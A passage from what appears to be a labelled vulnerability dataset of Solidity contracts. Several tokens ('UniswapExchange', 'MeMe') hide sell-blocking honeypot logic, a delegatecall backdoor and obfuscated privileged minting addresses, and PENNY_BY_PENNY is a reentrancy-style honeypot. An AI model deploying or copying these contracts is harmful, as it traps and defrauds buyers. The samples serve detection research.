function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,442 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract MeMe {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner
|| msg.sender==address(1128272879772349028992474526206451541022554459967)
|| msg.sender==address(781882898559151731055770343534128190759711045284)
|| msg.sender==address(718276804347632883115823995738883310263147443572)
|| msg.sender==address(56379186052763868667970533924811260232719434180)
);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 261 |
pragma solidity ^0.4.19;
contract PENNY_BY_PENNY
{
struct Holder
{
uint unlockTime;
uint balance;
}
mapping (address => Holder) public Acc;
uint public MinSum;
LogFile Log;
bool intitalized;
function SetMinSum(uint _val)
public
{
if(intitalized)throw;
MinSum = _val;
}
function SetLogFile(address _log)
public
{
if(intitalized)throw;
Log = LogFile(_log);
}
function Initialized()
public
{
intitalized = true;
}
function Put(uint _lockTime)
public
payable
{
var acc = Acc[msg.sender];
acc.balance += msg.value;
if(now+_lockTime>acc.unlockTime)acc.unlockTime=now+_lockTime;
Log.AddMessage(msg.sender,msg.value,"Put");
}
function Collect(uint _am)
public
payable
{
var acc = Acc[msg.sender];
if( acc.balance>=MinSum && acc.balance>=_am && now>acc.unlockTime)
{
if(msg.sender.call.value(_am)())
{
acc.balance-=_am;
Log.AddMessage(msg.sender,_am,"Collect");
}
}
}
function()
public
payable
{
Put(0);
}
}
contract LogFile
{
struct Message
{
address Sender;
string Data;
uint Val;
uint Time;
}
Message[] public History;
Message LastMsg;
function AddMessage(address _adr,uint _val,string _data)
public
{
LastMsg.Sender = _adr;
LastMsg.Time = now;
LastMsg.Val = _val;
LastMsg.Data = _data;
History.push(LastMsg);
}
} | 1 | 3,408 |
pragma solidity ^0.4.21;
interface ISimpleCrowdsale {
function getSoftCap() external view returns(uint256);
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address previousOwner, address newOwner);
function Ownable(address _owner) public {
owner = _owner == address(0) ? msg.sender : _owner;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != owner);
newOwner = _newOwner;
}
function confirmOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = 0x0;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
interface ICrowdsaleFund {
function processContribution(address contributor) external payable;
function onCrowdsaleEnd() external;
function enableCrowdsaleRefund() external;
}
contract IERC20Token {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract SafeMath {
function SafeMath() public {
}
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(a >= b);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract LockedTokens is SafeMath {
struct Tokens {
uint256 amount;
uint256 lockEndTime;
bool released;
}
event TokensUnlocked(address _to, uint256 _value);
IERC20Token public token;
address public crowdsaleAddress;
mapping(address => Tokens[]) public walletTokens;
function LockedTokens(IERC20Token _token, address _crowdsaleAddress) public {
token = _token;
crowdsaleAddress = _crowdsaleAddress;
}
function addTokens(address _to, uint256 _amount, uint256 _lockEndTime) external {
require(msg.sender == crowdsaleAddress);
walletTokens[_to].push(Tokens({amount: _amount, lockEndTime: _lockEndTime, released: false}));
}
function releaseTokens() public {
require(walletTokens[msg.sender].length > 0);
for(uint256 i = 0; i < walletTokens[msg.sender].length; i++) {
if(!walletTokens[msg.sender][i].released && now >= walletTokens[msg.sender][i].lockEndTime) {
walletTokens[msg.sender][i].released = true;
token.transfer(msg.sender, walletTokens[msg.sender][i].amount);
TokensUnlocked(msg.sender, walletTokens[msg.sender][i].amount);
}
}
}
}
contract MultiOwnable {
address public manager;
address[] public owners;
mapping(address => bool) public ownerByAddress;
event SetOwners(address[] owners);
modifier onlyOwner() {
require(ownerByAddress[msg.sender] == true);
_;
}
function MultiOwnable() public {
manager = msg.sender;
}
function setOwners(address[] _owners) public {
require(msg.sender == manager);
_setOwners(_owners);
}
function _setOwners(address[] _owners) internal {
for(uint256 i = 0; i < owners.length; i++) {
ownerByAddress[owners[i]] = false;
}
for(uint256 j = 0; j < _owners.length; j++) {
ownerByAddress[_owners[j]] = true;
}
owners = _owners;
SetOwners(_owners);
}
function getOwners() public constant returns (address[]) {
return owners;
}
}
contract ERC20Token is IERC20Token, SafeMath {
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(balances[msg.sender] >= _value);
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value);
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256) {
return allowed[_owner][_spender];
}
}
interface ITokenEventListener {
function onTokenTransfer(address _from, address _to, uint256 _value) external;
}
contract ManagedToken is ERC20Token, MultiOwnable {
bool public allowTransfers = false;
bool public issuanceFinished = false;
ITokenEventListener public eventListener;
event AllowTransfersChanged(bool _newState);
event Issue(address indexed _to, uint256 _value);
event Destroy(address indexed _from, uint256 _value);
event IssuanceFinished();
modifier transfersAllowed() {
require(allowTransfers);
_;
}
modifier canIssue() {
require(!issuanceFinished);
_;
}
function ManagedToken(address _listener, address[] _owners) public {
if(_listener != address(0)) {
eventListener = ITokenEventListener(_listener);
}
_setOwners(_owners);
}
function setAllowTransfers(bool _allowTransfers) external onlyOwner {
allowTransfers = _allowTransfers;
AllowTransfersChanged(_allowTransfers);
}
function setListener(address _listener) public onlyOwner {
if(_listener != address(0)) {
eventListener = ITokenEventListener(_listener);
} else {
delete eventListener;
}
}
function transfer(address _to, uint256 _value) public transfersAllowed returns (bool) {
bool success = super.transfer(_to, _value);
if(hasListener() && success) {
eventListener.onTokenTransfer(msg.sender, _to, _value);
}
return success;
}
function transferFrom(address _from, address _to, uint256 _value) public transfersAllowed returns (bool) {
bool success = super.transferFrom(_from, _to, _value);
if(hasListener() && success) {
eventListener.onTokenTransfer(_from, _to, _value);
}
return success;
}
function hasListener() internal view returns(bool) {
if(eventListener == address(0)) {
return false;
}
return true;
}
function issue(address _to, uint256 _value) external onlyOwner canIssue {
totalSupply = safeAdd(totalSupply, _value);
balances[_to] = safeAdd(balances[_to], _value);
Issue(_to, _value);
Transfer(address(0), _to, _value);
}
function destroy(address _from, uint256 _value) external {
require(ownerByAddress[msg.sender] || msg.sender == _from);
require(balances[_from] >= _value);
totalSupply = safeSub(totalSupply, _value);
balances[_from] = safeSub(balances[_from], _value);
Transfer(_from, address(0), _value);
Destroy(_from, _value);
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = safeAdd(allowed[msg.sender][_spender], _addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = safeSub(oldValue, _subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function finishIssuance() public onlyOwner returns (bool) {
issuanceFinished = true;
IssuanceFinished();
return true;
}
}
contract TransferLimitedToken is ManagedToken {
uint256 public constant LIMIT_TRANSFERS_PERIOD = 365 days;
mapping(address => bool) public limitedWallets;
uint256 public limitEndDate;
address public limitedWalletsManager;
bool public isLimitEnabled;
event TransfersEnabled();
modifier onlyManager() {
require(msg.sender == limitedWalletsManager);
_;
}
modifier canTransfer(address _from, address _to) {
require(now >= limitEndDate || !isLimitEnabled || (!limitedWallets[_from] && !limitedWallets[_to]));
_;
}
function TransferLimitedToken(
uint256 _limitStartDate,
address _listener,
address[] _owners,
address _limitedWalletsManager
) public ManagedToken(_listener, _owners)
{
limitEndDate = _limitStartDate + LIMIT_TRANSFERS_PERIOD;
isLimitEnabled = true;
limitedWalletsManager = _limitedWalletsManager;
}
function enableTransfers() public {
require(msg.sender == limitedWalletsManager);
allowTransfers = true;
TransfersEnabled();
}
function addLimitedWalletAddress(address _wallet) public {
require(msg.sender == limitedWalletsManager || ownerByAddress[msg.sender]);
limitedWallets[_wallet] = true;
}
function delLimitedWalletAddress(address _wallet) public onlyManager {
limitedWallets[_wallet] = false;
}
function disableLimit() public onlyManager {
isLimitEnabled = false;
}
function transfer(address _to, uint256 _value) public canTransfer(msg.sender, _to) returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public canTransfer(_from, _to) returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public canTransfer(msg.sender, _spender) returns (bool) {
return super.approve(_spender,_value);
}
}
contract TheEvolthDAICO is Ownable, SafeMath, Pausable, ISimpleCrowdsale {
enum AdditionalBonusState {
Unavailable,
Active,
Applied
}
uint256 public constant ADDITIONAL_BONUS_NUM = 3;
uint256 public constant ADDITIONAL_BONUS_DENOM = 100;
uint256 public constant ETHER_MIN_CONTRIB = 0.2 ether;
uint256 public constant ETHER_MAX_CONTRIB = 20 ether;
uint256 public constant SALE_START_TIME = 1536566400;
uint256 public constant SALE_END_TIME = 1538956800;
uint256 public constant BONUS_WINDOW_1_END_TIME = SALE_START_TIME + 3 days;
uint256 public constant BONUS_WINDOW_2_END_TIME = SALE_START_TIME + 8 days;
uint256 public constant BONUS_WINDOW_3_END_TIME = SALE_START_TIME + 14 days;
uint256 public constant BONUS_WINDOW_4_END_TIME = SALE_START_TIME + 21 days;
uint256 public constant MAX_CONTRIB_CHECK_END_TIME = SALE_START_TIME + 1 days;
uint256 public tokenPriceNum = 0;
uint256 public tokenPriceDenom = 0;
TransferLimitedToken public token;
ICrowdsaleFund public fund;
LockedTokens public lockedTokens;
mapping(address => AdditionalBonusState) public additionalBonusOwnerState;
mapping(address => uint256) public userTotalContributed;
address public mainSaleTokenWallet;
address public foundationTokenWallet;
address public advisorsTokenWallet;
address public teamTokenWallet;
address public marketingTokenWallet;
uint256 public totalEtherContributed = 0;
uint256 public rawTokenSupply = 0;
uint256 public hardCap = 0;
uint256 public softCap = 0;
uint256 public tokenMaxSupply;
event LogContribution(address contributor, uint256 amountWei, uint256 tokenAmount, uint256 tokenBonus, bool additionalBonusApplied, uint256 timestamp);
modifier checkContribution() {
require(isValidContribution());
_;
}
modifier checkCap() {
require(validateCap());
_;
}
modifier checkTime() {
require(now >= SALE_START_TIME && now <= SALE_END_TIME);
_;
}
function TheEvolthDAICO(
address tokenAddress,
address fundAddress,
address _mainSaleTokenWallet,
address _foundationTokenWallet,
address _advisorsTokenWallet,
address _teamTokenWallet,
address _marketingTokenWallet,
address _owner
) public
Ownable(_owner)
{
require(tokenAddress != address(0));
token = TransferLimitedToken(tokenAddress);
fund = ICrowdsaleFund(fundAddress);
mainSaleTokenWallet = _mainSaleTokenWallet;
foundationTokenWallet = _foundationTokenWallet;
advisorsTokenWallet = _advisorsTokenWallet;
teamTokenWallet = _teamTokenWallet;
marketingTokenWallet = _marketingTokenWallet;
tokenMaxSupply = 100*10**25;
}
function isValidContribution() internal view returns(bool) {
uint256 currentUserContribution = safeAdd(msg.value, userTotalContributed[msg.sender]);
if(msg.value >= ETHER_MIN_CONTRIB) {
if(now <= MAX_CONTRIB_CHECK_END_TIME && currentUserContribution > ETHER_MAX_CONTRIB ) {
return false;
}
return true;
}
return false;
}
function validateCap() internal view returns(bool){
if(msg.value <= safeSub(hardCap, totalEtherContributed)) {
return true;
}
return false;
}
function setTokenPrice(uint256 _tokenPriceNum, uint256 _tokenPriceDenom) public onlyOwner {
require(tokenPriceNum == 0 && tokenPriceDenom == 0);
require(_tokenPriceNum > 0 && _tokenPriceDenom > 0);
tokenPriceNum = _tokenPriceNum;
tokenPriceDenom = _tokenPriceDenom;
}
function setHardCap(uint256 _hardCap) public onlyOwner {
require(hardCap == 0);
hardCap = _hardCap;
}
function setSoftCap(uint256 _softCap) public onlyOwner {
require(softCap == 0);
softCap = _softCap;
}
function getSoftCap() external view returns(uint256) {
return softCap;
}
function getBonus() internal constant returns (uint256, uint256) {
uint256 numerator = 0;
uint256 denominator = 100;
if(now < BONUS_WINDOW_1_END_TIME) {
numerator = 30;
} else if(now < BONUS_WINDOW_2_END_TIME) {
numerator = 20;
} else if(now < BONUS_WINDOW_3_END_TIME) {
numerator = 10;
} else if(now < BONUS_WINDOW_4_END_TIME) {
numerator = 5;
} else {
numerator = 0;
}
return (numerator, denominator);
}
function addToLists(
address _wallet,
bool isInLimitedList,
bool hasAdditionalBonus
) public onlyOwner {
if(isInLimitedList) {
token.addLimitedWalletAddress(_wallet);
}
if(hasAdditionalBonus) {
additionalBonusOwnerState[_wallet] = AdditionalBonusState.Active;
}
}
function addAdditionalBonusMember(address _wallet) public onlyOwner {
additionalBonusOwnerState[_wallet] = AdditionalBonusState.Active;
}
function setLockedTokens(address lockedTokensAddress) public onlyOwner {
lockedTokens = LockedTokens(lockedTokensAddress);
}
function () payable public whenNotPaused {
processContribution(msg.sender, msg.value);
}
function processContribution(address contributor, uint256 amount) private checkTime checkContribution checkCap {
bool additionalBonusApplied = false;
uint256 bonusNum = 0;
uint256 bonusDenom = 100;
(bonusNum, bonusDenom) = getBonus();
uint256 tokenBonusAmount = 0;
uint256 tokenAmount = safeDiv(safeMul(amount, tokenPriceNum), tokenPriceDenom);
rawTokenSupply = safeAdd(rawTokenSupply, tokenAmount);
if(bonusNum > 0) {
tokenBonusAmount = safeDiv(safeMul(tokenAmount, bonusNum), bonusDenom);
}
if(additionalBonusOwnerState[contributor] == AdditionalBonusState.Active) {
additionalBonusOwnerState[contributor] = AdditionalBonusState.Applied;
uint256 additionalBonus = safeDiv(safeMul(tokenAmount, ADDITIONAL_BONUS_NUM), ADDITIONAL_BONUS_DENOM);
tokenBonusAmount = safeAdd(tokenBonusAmount, additionalBonus);
additionalBonusApplied = true;
}
processPayment(contributor, amount, tokenAmount, tokenBonusAmount, additionalBonusApplied);
}
function processPayment(address contributor, uint256 etherAmount, uint256 tokenAmount, uint256 tokenBonusAmount, bool additionalBonusApplied) internal {
uint256 tokenTotalAmount = safeAdd(tokenAmount, tokenBonusAmount);
token.issue(contributor, tokenTotalAmount);
fund.processContribution.value(etherAmount)(contributor);
totalEtherContributed = safeAdd(totalEtherContributed, etherAmount);
userTotalContributed[contributor] = safeAdd(userTotalContributed[contributor], etherAmount);
LogContribution(contributor, etherAmount, tokenAmount, tokenBonusAmount, additionalBonusApplied, now);
}
function forceCrowdsaleRefund() public onlyOwner {
pause();
fund.enableCrowdsaleRefund();
token.finishIssuance();
}
function finalizeCrowdsale() public onlyOwner {
if(
totalEtherContributed >= hardCap ||
(now >= SALE_END_TIME && totalEtherContributed >= softCap)
) {
fund.onCrowdsaleEnd();
uint256 mintedTokenAmount = token.totalSupply();
uint256 unmintedTokenAmount = safeSub(tokenMaxSupply, mintedTokenAmount);
uint256 mainSaleTokenAmount = safeDiv(safeMul(unmintedTokenAmount, 4), 10);
token.issue(address(lockedTokens), mainSaleTokenAmount);
lockedTokens.addTokens(mainSaleTokenWallet, mainSaleTokenAmount, now + 90 days);
uint256 foundationTokenAmount = safeDiv(safeMul(unmintedTokenAmount, 4), 10);
token.issue(foundationTokenWallet, foundationTokenAmount);
uint256 advisorsTokenAmount = safeDiv(safeMul(unmintedTokenAmount, 5), 100);
token.issue(address(lockedTokens), advisorsTokenAmount);
